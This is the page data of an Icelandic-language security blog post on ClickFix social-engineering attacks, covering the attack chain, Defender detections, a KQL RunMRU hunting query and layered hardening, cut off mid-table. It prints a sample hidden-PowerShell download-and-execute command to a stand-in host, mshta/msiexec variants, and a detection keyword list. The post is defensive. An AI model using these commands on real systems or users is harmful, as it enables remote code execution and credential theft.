[{"data":1,"prerenderedAt":1663},["ShallowReactive",2],{"sc:header-data-is":3,"sc:footer-data-is":489,"post-is--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":518,"authors_data":1086,"content-is-list-7b291c2dd91a4":1439,"authors_data:Fritz Zurhorst|Nadine Klein":1659},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"is":13},{"title":14,"url":15,"alt":16},"Heim","/is","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"is":21},{"title":22,"description":23},"Workplace","Knúið af Microsoft 365 fyrir snjalla, örugga og sveigjanlega vinnustaði, með nútímalegri tækni og auðkennisþjónustum samþættum.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"is":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"is":34},{"title":35,"url":36},"Managed Intune","/is/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"is":40},{"title":41,"url":42},"Managed Entra","/is/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"is":46},{"title":47,"url":48},"Managed Workplace","/is/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"is":52},{"title":53,"url":54},"Consulting Services","/is/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"is":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"is":64},{"title":65,"url":66},"Microsoft Entra Suite","/is/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"is":70},{"title":71,"url":72},"Microsoft Intune","/is/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"is":76},{"title":77,"url":78},"Microsoft Windows","/is/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"is":82},{"title":83,"url":84},"Windows 365 Cloud PC","/is/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"is":88},{"title":89,"url":90},"Cloud Workplace Foundation","/is/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"is":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"is":100},{"title":101,"url":102},"Microsoft 365 Copilot","/is/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"is":106},{"title":107,"url":108},"Teams","/is/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"is":112},{"title":113,"url":114},"SharePoint & Power Platform","/is/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"is":118},{"title":119,"url":120},"Exchange Online","/is/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"is":124},{"title":125,"url":126},"Information Protection & Compliance","/is/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"is":130},{"title":131,"description":132},"Azure","Vöxtur með Azure: lækkaðu cloud-kostnað, auktu skilvirkni og knýðu áfram nýsköpun með IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"is":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"is":142},{"title":143,"url":144},"Azure Managed Services","/is/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"is":148},{"title":149,"url":150},"Azure Consulting","/is/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"is":154},{"title":155},"Sviðsmyndir",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"is":160},{"title":161,"url":162},"Skipuleggðu skýið þitt","/is/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"is":166},{"title":167,"url":168},"Flyttu í skýið","/is/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"is":172},{"title":173,"url":174},"Nýsköpun í rekstrinum þínum","/is/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"is":178},{"title":179,"url":180},"Endurhugsaðu VMware-stefnuna þína","/is/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"is":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"is":190},{"title":191,"url":192},"Azure Foundation","/is/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"is":196},{"title":197,"url":198},"Azure AI Foundation","/is/azure/azure-ai-foundation",{"name":86,"languages":200},{"is":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"is":205},{"title":206,"url":207},"Azure Data Foundation","/is/azure/azure-data-foundation",{"name":188,"languages":209},{"is":210},{"title":211,"url":212},"Azure Container Foundation","/is/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"is":216},{"title":217,"url":218},"Managed Dark Tenant","/is/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"is":222},{"title":223,"url":224},"Cloud Adoption Framework","/is/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"is":228},{"title":229,"url":230},"Cloud Competence Center","/is/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"is":234},{"title":235,"description":236,"emergency":237},"Security","Árvekni í skýinu með margverðlaunaðri 24/7 managed service, incident response og nútímalegri vörn fyrir innviðina þína.",{"text":238,"href":239,"skin":240,"icon":241},"Undir árás?","/is/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"is":249},{"title":250,"url":251},"Managed Red Tenant","/is/security/managed-red-tenant",{"name":214,"languages":253},{"is":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"is":259},{"title":260,"url":261},"Sentinel Data Lake","/is/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"is":265},{"title":266,"url":267},"Security Consulting","/is/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"is":274},{"title":275,"url":276},"Cloud Security Operations Center","/is/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"is":280},{"title":281,"url":282},"Global Secure Access","/is/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"is":286},{"title":287,"url":288},"MyWorkID","/is/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"is":295},{"title":296,"url":297},"Preventive Services","/is/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"is":301},{"title":302,"url":303},"Data Security Service","/is/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"is":307},{"title":308,"url":309},"Security Copilot Agents","/is/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"is":313},{"title":314,"url":315},"Innleiðing NIS2","/is/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"is":319},{"title":320,"description":321},"Vörur","Fylgivörur fyrir öruggt, 100 % cloud-native Microsoft-umhverfi sem styrkja samstarf, netauðkenningu og hugbúnaðarstjórnun.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"is":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Skýbundin hugbúnaðardreifing",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"is":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Skírteinadreifing úr skýinu",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"is":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Vinndu með staðbundnu Office 365-gögnin þín",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"is":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Flyttu gögnin þín milli netþjóna",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"is":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"is":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Auðkenning fyrir netið þitt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"is":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finndu tengiliði í Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"is":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Rauntímaeftirlit með Windows Autopilot",{"name":396,"languages":397},"casestudies",{"is":398},{"title":399,"url":400,"description":401},"Case Studies","/is/casestudies","Frumkvöðull í skýinu: Microsoft-samstarfsaðilinn þinn fyrir cloud-lausnir með blueprint-nálgun og sérþekkingu í Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"is":405},{"title":406,"description":401},"Fyrirtækið",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"is":411},{"title":412},"Um okkur",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"is":417},{"title":418,"url":419},"Staðreyndir og tölur","/is/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"is":423},{"title":424,"url":425},"Tengiliðir og staðsetningar","/is/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"is":429},{"title":430,"url":431}," glueckkanja Switzerland","/is/company/switzerland",{"name":433,"languages":434},"austria",{"is":435},{"title":436,"url":437},"glueckkanja Austria","/is/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"is":441},{"title":442},"Störf",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"is":447},{"title":448,"url":449},"Yfirlit yfir störf","/is/career",{"name":451,"languages":452},"company-young-professionals",{"is":453},{"title":454,"url":455},"Young Professionals","/is/young-professionals",{"name":457,"languages":458},"company-jobs",{"is":459},{"title":460,"url":461},"Laus störf","/is/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"is":465},{"title":466},"Nýjast",[468,474],{"name":469,"languages":470},"company-blog",{"is":471},{"title":472,"url":473},"Blogg","/is/blog",{"name":469,"languages":475},{"is":476},{"title":477,"url":478},"Viðburðir","/is/events",[480],{"name":481,"languages":482},"career-meta",{"is":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"is":487},{"title":488,"url":425,"active":484},"Tengiliður",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksIs":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/is/privacy",{"title":514,"url":515},"Imprint","/is/imprint",{"title":507,"url":517},"/is/cookies",{"id":519,"title":520,"author":521,"body":524,"cta":494,"description":576,"eventid":494,"extension":1038,"hideInRecent":484,"layout":1039,"meta":1040,"moment":1044,"navigation":325,"path":1078,"seo":1079,"stem":1080,"tags":1081,"webcast":484,"__hash__":1085},"content_is/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Þegar notandinn er exploitið, og hvernig þú stöðvar það",[522,523],"Fritz Zurhorst","Nadine Klein",{"type":525,"value":526,"toc":1027},"minimal",[527,532,536,539,546,554,557,563,566,586,597,603,609,612,616,618,621,624,628,630,633,647,651,653,660,740,757,760,764,766,769,784,787,790,794,796,799,802,827,831,833,836,843,847,849,852,878,881,884,887,986,989,992,995,1006,1009,1013,1015,1023],[528,529,531],"h2",{"id":530},"clickfix-árásarkeðjan","ClickFix-árásarkeðjan",[533,534,535],"p",{},"{: .h3-font-size}",[533,537,538],{},"ClickFix er árás þar sem notendur verða sinn eigin árásaraðili. Ekkert exploit, enginn veikleiki. Þolandinn keyrir skaðkóðann sjálfur, með einu einasta copy-paste.",[533,540,541],{},[542,543],"img",{"alt":544,"src":545},"ClickFix-árásarkeðjan í fimm þrepum: beitan, brellan, copy-paste, keyrsla, smit.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[533,547,548,549,553],{},"Beitan er social engineering: falsað CAPTCHA á illgjarnri síðu, fölsk stuðningstilkynning (\"vafrinn þinn þarf uppfærslu\"), phishing-póstur eða fölsuð fundarsíða. Á meðan þolandinn er á síðunni skrifar JavaScript payloadið í klippiborðið um ",[550,551,552],"code",{},"clipboard.writeText()",". Svo biður síðan notandann um að ýta á Win+R, Ctrl+V og Enter. Keyrsluglugginn ræsir það sem liggur í klippiborðinu.",[533,555,556],{},"Dæmigerð beita lítur svona út:",[533,558,559],{},[542,560],{"alt":561,"src":562},"Skjámynd af falsaðri CAPTCHA-beitu sem biður notandann um að ýta á Win og X, líma svo inn og keyra skipun með Enter.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[533,564,565],{},"Skipunin sem hún setur í klippiborðið lítur svona út:",[567,568,570],"div",{"style":569},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[571,572,577],"pre",{"className":573,"code":574,"language":575,"meta":576,"style":576},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[550,578,579],{"__ignoreMap":576},[580,581,584],"span",{"class":582,"line":583},"line",1,[580,585,574],{},[533,587,588,589,592,593,596],{},"Tveir hlutir gerast samtímis. PowerShell ræsist í földum glugga (",[550,590,591],{},"-w h","), og ",[550,594,595],{},"iex(irm …)"," sækir payloadið og keyrir það beint í minninu. Ekkert lendir á disknum, svo signature-byggð antivirus hefur ekkert að skanna. Annað þrepið er oftast infostealer (Lumma, Vidar, RedLine, StealC), remote access trojan eða ransomware-loader.",[533,598,599,600,602],{},"Sama mynstur í Microsoft-Defender-telemetríunni, falið PowerShell, ræst úr Windows Terminal, sem keyrir ",[550,601,595],{},":",[533,604,605],{},[542,606],{"alt":607,"src":608},"Microsoft-Defender-inspect-record með ferlakeðjunni WindowsTerminal.exe í pwsh.exe í powershell.exe, sem keyrir iex(irm …)-skipun.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[533,610,611],{},"Hvers vegna þetta virkar svona vel: allt gengur í notandasamhenginu, án aukinna réttinda. Cookies, vistuð lykilorð og session tokens liggja innan seilingar venjulegs notanda. Árásaraðilinn þarf ekki að escalera réttindi til að ná því sem hann kom eftir.",[528,613,615],{"id":614},"hvað-microsoft-defender-greinir","Hvað Microsoft Defender greinir",[533,617,535],{},[533,619,620],{},"Microsoft hefur síðustu mánuði fjárfest mikið í ClickFix-greiningu. Sé Defender hjá þér heilbrigður og rétt stilltur færðu innbyggðar greiningar fyrir ClickFix-payload. Frá Q2 2025 gefur MDE út hegðunarbundin alerts undir titlum eins og \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" eða \"An active 'Pacalau' malware in a command line was prevented from executing\". Þau fara í gang úr MDE-cloud-enginu um greiningu á ferlakeðjunni, samhliða AV-greiningunni og oft nokkrum sekúndum fyrr.",[533,622,623],{},"Stillingin sem gerir þetta mögulegt stendur neðar, við herðingu keyrslunnar.",[528,625,627],{"id":626},"hvar-innbyggða-greiningin-rekst-á-takmörk-sín","Hvar innbyggða greiningin rekst á takmörk sín",[533,629,535],{},[533,631,632],{},"Cloud-byggðar ML-signatures þurfa tíma þar til þær fara í gang. Við sjáum reglulega glufu upp á meira en mínútu milli PowerShell-ræsingar og Defender-alertsins. Hraðara payload smýgur í gegnum þennan glugga.",[533,634,635,636,638,639,642,643,646],{},"Árásaraðilar aðlagast auk þess hratt. Skiptu ",[550,637,575],{}," út fyrir ",[550,640,641],{},"mshta http://..."," eða ",[550,644,645],{},"msiexec /i http://...",", hvort tveggja klassísk LOLBin, og PowerShell-sértæku greiningarnar grípa ekki lengur.",[528,648,650],{"id":649},"að-loka-glufunni-runmru-hunt","Að loka glufunni: RunMRU-hunt",[533,652,535],{},[533,654,655,656,659],{},"Þessari glufu lokum við með custom detections. Útgangspunkturinn er KQL-fyrirspurn á registry-lykilinn ",[550,657,658],{},"RunMRU",", sem skrifar niður hverja skipun sem notandi slær inn í Win+R-gluggann.",[567,661,662],{"style":569},[571,663,667],{"className":664,"code":665,"language":666,"meta":576,"style":576},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[550,668,669,674,680,686,692,698,704,710,716,722,728,734],{"__ignoreMap":576},[580,670,671],{"class":582,"line":583},[580,672,673],{},"DeviceRegistryEvents\n",[580,675,677],{"class":582,"line":676},2,[580,678,679],{},"| where ActionType =~ \"RegistryValueSet\"\n",[580,681,683],{"class":582,"line":682},3,[580,684,685],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[580,687,689],{"class":582,"line":688},4,[580,690,691],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[580,693,695],{"class":582,"line":694},5,[580,696,697],{},"| where RegistryValueData has \" ✅ \"\n",[580,699,701],{"class":582,"line":700},6,[580,702,703],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[580,705,707],{"class":582,"line":706},7,[580,708,709],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[580,711,713],{"class":582,"line":712},8,[580,714,715],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[580,717,719],{"class":582,"line":718},9,[580,720,721],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[580,723,725],{"class":582,"line":724},10,[580,726,727],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[580,729,731],{"class":582,"line":730},11,[580,732,733],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[580,735,737],{"class":582,"line":736},12,[580,738,739],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[533,741,742,743,746,747,746,750,746,753,756],{},"Fyrirspurnin merkir hverja Win+R-færslu sem lítur út eins og ClickFix-skipun: PowerShell, mshta, curl eða msiexec ásamt dæmigerðum vísbendingum eins og ",[550,744,745],{},"-w hidden",", ",[550,748,749],{},"iex",[550,751,752],{},"irm",[550,754,755],{},"DownloadString"," eða base64-kóðuðum payload. Hún nær líka lúmsku brellunum. Græna hakemojiið sem margar falsaðar CAPTCHA-beitur setja framan við skipunina. Unicode-tákn úr kyrillískum, arabískum eða tælenskum sviðum, sem árásaraðilar nota til að dulbúa texta og komast fram hjá einföldum strengjasíum. Birtist eitt þessara mynstra í Win+R-færslu er mjög líklega ClickFix-árás í gangi.",[533,758,759],{},"Fyrir CSOC-viðskiptavini okkar rekum við þessa og fleiri custom detections til að loka glufunni milli nýrra árásartækni og innbyggðu greiningarinnar.",[528,761,763],{"id":762},"varnarlag-1-loka-á-afhendinguna","Varnarlag 1: loka á afhendinguna",[533,765,535],{},[533,767,768],{},"Nú að forvörnunum. ClickFix er útbreitt og árangursríkt, svo ein stök vörn dugar ekki. Við vinnum í lögum, allt frá afhendingu að keyrslu.",[533,770,771,772,775,776,779,780,783],{},"Network Protection lokar á þekkt delivery-domains og C2-þjóna fyrir alla vafra. MDE Web Content Filtering bætir við flokkum eins og \"Newly registered domains\", \"Hacking\" og \"Illegal Software\". Network Protection er innbyggð í Windows, en fyrir vafra frá þriðja aðila þarftu að slökkva á QUIC og ECH, því hvort tveggja dulkóðar alla tenginguna og felur markdómenið. Slökktu á QUIC í Chrome og Firefox með enterprise-policy (",[550,773,774],{},"QuicAllowed = Disabled"," í Chrome, ",[550,777,778],{},"network.http.http3.enable = false"," í Firefox); fyrir ECH setur þú ",[550,781,782],{},"EncryptedClientHelloEnabled = Disabled"," í Chrome.",[533,785,786],{},"Fyrir Edge kveikir þú á SmartScreen. Fyrir vafra frá þriðja aðila kveikir þú á innbyggðu Safe Browsing þeirra. Það er ekki það sama og Network Protection, en hjálpar til við að sía skaðlegar síður. Fyrir póstvektorinn athuga Safe Links og Safe Attachments tengla og viðhengi áður en notendur eiga við þau.",[533,788,789],{},"Gallinn: allt þetta grípur aðeins gegn þekktum innviðum. Núverandi ClickFix-herferðir ganga um nýskráða innviði sem eru auðkenndir og lokaðir of seint, og stundum um lögmætar síður sem árásaraðili hefur brotist inn í. Skoðum því hvað ver eftir að beitan hefur verið afhent.",[528,791,793],{"id":792},"varnarlag-2-loka-á-brelluna","Varnarlag 2: loka á brelluna",[533,795,535],{},[533,797,798],{},"Nokkrir Edge-eiginleikar hækka þröskuldinn á meðan notandinn er á illgjarnri síðu. Governance á browser-extensions kemur í veg fyrir að notendur setji upp illgjarnar eða brotnar viðbætur sem lauma inn ClickFix-overlayum eða meðhöndla klippiborðið sjálfar. Edge Enhanced Security Mode leggur strangari varnarráðstafanir á óþekktar og sjaldan heimsóttar síður (slökkt á JIT, Control Flow Guard, vélbúnaðarstudd stack-vörn), sem gerir exploit-byggðar vafrayfirtökur talsvert erfiðari. Typo Protection varar við typosquatted dómenum (micros0ft.com, paypa1.com) og lokar á útbreiddan ClickFix-afhendingarvektor um fölsuð vörumerkjadómen.",[533,800,801],{},"Tæknilegar stýringar eru aðeins hálfur sigurinn. Fræðsla notenda er áfram lykilatriði. Eina reglan sem ber stærsta hlutann: ef vefsíða biður þig um að líma eitthvað inn í tölvuna þína er það árás. Gerðu það konkret í awareness-þjálfuninni:",[803,804,806,807,806,815,806,821],"ul",{"style":805},"margin: 0.25rem 0","\n  ",[808,809,810,814],"li",{},[811,812,813],"strong",{},"Sýndu raunverulegar beitur:"," falsaðir \"Verify you are human\"-hakreitir, \"vafrinn þinn þarf uppfærslu\", \"ekki tókst að birta skjalið, keyrðu þennan fix\", bilaðar Teams- eða Zoom-hljóðtilkynningar.",[808,816,817,820],{},[811,818,819],{},"Sýndu klippiborðsbrelluna:"," sýndu hvernig síðan skrifar hljóðlega yfir klippiborðið.",[808,822,823,826],{},[811,824,825],{},"Gerðu tilkynningar auðveldar:"," hratt og án þess að kenna neinum um.",[528,828,830],{"id":829},"varnarlag-3-loka-á-aðgerðina","Varnarlag 3: loka á aðgerðina",[533,832,535],{},[533,834,835],{},"Hér eru nokkrir möguleikar á að herða kerfið, enginn þeirra er trygging. Byrjaðu á því að slökkva á keyrsluglugganum, það fjarlægir Win+R-inngangspunktinn. ClickFix-leiðbeiningar Microsoft mæla með að slökkva á honum, \"where it isn't necessary\". Það lokar tilteknu Win+R-paste-árásinni, en aðrar ræsingarleiðir standa eftir, til dæmis heimilisfangalína Explorer og Windows Terminal.",[533,837,838,839,842],{},"Þú getur að auki hert Edge með ",[550,840,841],{},"DefaultClipboardSetting",", sem kemur í veg fyrir að JavaScript skrifi hljóðlega í klippiborðið.",[528,844,846],{"id":845},"varnarlag-4-loka-á-keyrsluna","Varnarlag 4: loka á keyrsluna",[533,848,535],{},[533,850,851],{},"Áður en kemur að þróaðri eiginleikunum, komdu grunninum í lag. Fyrir ClickFix þýðir það:",[803,853,806,854,806,860,806,866,806,872],{"style":805},[808,855,856,859],{},[811,857,858],{},"Local admin reduction:"," fjarlægðu staðbundin stjórnandaréttindi af endanotendum þar sem hægt er, til að takmarka áhrif kóðakeyrslu.",[808,861,862,865],{},[811,863,864],{},"Endpoint Privilege Management (EPM):"," láttu notendur vinna sem venjulega notendur og elevera aðeins samþykkt forrit um policy-reglur.",[808,867,868,871],{},[811,869,870],{},"UAC-herðing:"," athugaðu secure-desktop-enforcement, prompt-hegðun fyrir admin og venjulega notendur og installer-greiningu.",[808,873,874,877],{},[811,875,876],{},"Credential Guard:"," einangraðu NTLM-hash, Kerberos-tickets og annað credential-efni með sýndarvæðingarbundnu öryggi, svo að credential-þjófnaður haldist erfiður, jafnvel þótt árásaraðili nái stjórnandaréttindum.",[533,879,880],{},"Þessar stýringar draga úr möguleikum á escalation, verja credentials og knýja fram least privilege. Takmörkin: þær afmarka hvað gerist eftir innbrot. Þær hindra ekki infostealer í notandasamhenginu í að lesa cookies, session tokens og app-credential-stores sem notandinn hefur aðgang að.",[533,882,883],{},"Þá að Microsoft Defender. Defender AV getur greint payload annars þreps, en aðeins með réttum stillingum: kveiktu á Cloud Protection og stilltu varnarstigið á High eða High+. AMSI, Antimalware Scan Interface, gerir forritum kleift að afhenda Defender efni til skoðunar á keyrslutíma, eftir að það hefur verið afkóðað eða afobfuskað í minninu, en áður en það er keyrt. PowerShell notar AMSI til að bera kennsl á skaðkóða, og AMSI þarf rauntímavörn og behavior monitoring.",[533,885,886],{},"Að minnsta kosti fimm attack-surface-reduction-reglur skipta máli gegn ClickFix:",[567,888,890],{"style":889},"margin: 0.5rem 0 2rem; overflow-x: auto",[891,892,806,894,806,913],"table",{"style":893},"width:100%; border-collapse: collapse; font-size: 0.85rem",[895,896,897,898,806],"thead",{},"\n    ",[899,900,901,902,901,907,901,910,897],"tr",{},"\n      ",[903,904,906],"th",{"style":905},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Regla",[903,908,909],{"style":905},"GUID",[903,911,912],{"style":905},"ClickFix-vægi",[914,915,897,916,897,932,897,947,897,960,897,973,806],"tbody",{},[899,917,901,918,901,923,901,929,897],{},[919,920,922],"td",{"style":921},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Loka á keyrslu mögulega dulbúinna skripta",[919,924,926],{"style":925},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[550,927,928],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[919,930,931],{"style":921},"Dulbúin eða kóðuð skript á keyrslu- og evasion-fasanum",[899,933,901,934,901,938,901,944,897],{},[919,935,937],{"style":936},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Hindra JavaScript eða VBScript í að ræsa niðurhalað keyranlegt 